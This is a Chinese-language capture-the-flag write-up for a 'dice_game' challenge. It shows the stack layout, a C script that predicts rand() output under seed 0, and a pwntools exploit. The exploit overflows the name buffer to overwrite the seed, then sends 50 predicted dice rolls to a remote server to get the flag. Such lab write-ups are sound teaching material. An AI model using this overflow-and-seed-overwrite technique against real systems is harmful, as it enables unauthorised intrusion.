思考:
1.又是一个产生随机数字的题,考察的是写脚本的能力。(先绕过猜解数字)(切记一定是time(0)
,应为time(0)
是可以预测的)
2.然后我们在主程序里发现如下,我们通过循环就可以拿到我们的flag
了
{
char s; // [sp+10h] [bp-70h]@1
FILE *stream; // [sp+78h] [bp-8h]@1
printf("Congrats %s\n", a1);
stream = fopen("flag", "r");
fgets(&s, 100, stream);
puts(&s);
return fflush(stdout);
}
如果遇见类似的猜点数的题看栈的分布情况
1.我们将数据覆盖到send
的地方,将我们自己跑出来的50
个数据,填充进去。 不就成功的破解了他的程序了嘛!
-0000000000000050 ;
-0000000000000050
-0000000000000050 buf db 55 dup(?) //我们输入名字的地方
-0000000000000019 var_19 db ?
-0000000000000018 var_18 dq ?
-0000000000000010 seed dd 2 dup(?) //产生随机函数的地方
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
编写产生随机数的脚本(gcc 脚本.c -o 输出的名字
)
#include <stdio.h>
#include <stdlib.h>
int main(){
srand(0); ##切记一定是0 ,第一次尝试错误了 没有将种子设置为0
for(int i=0;i<50;i++)
printf("%d,",rand()%6 +1);
printf("\n");
return 0;
}
EXP
from pwn import *
#DEBUG = 1
#if DEBUG:
#p = process('./dice_game') ##不知道什么原因 if else总是报错,还是按照常规思路链接服务器
#else:
p = remote("111.198.29.45","50891")
asm =[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]
payload = 'A'*0x40 + p64(0)
p.recvuntil("know your name: ")
p.sendline(payload)
for x in asm:
p.recvuntil("Give me the point(1~6): ")
p.send(str(x) + '\n')
p.interactive()
网友评论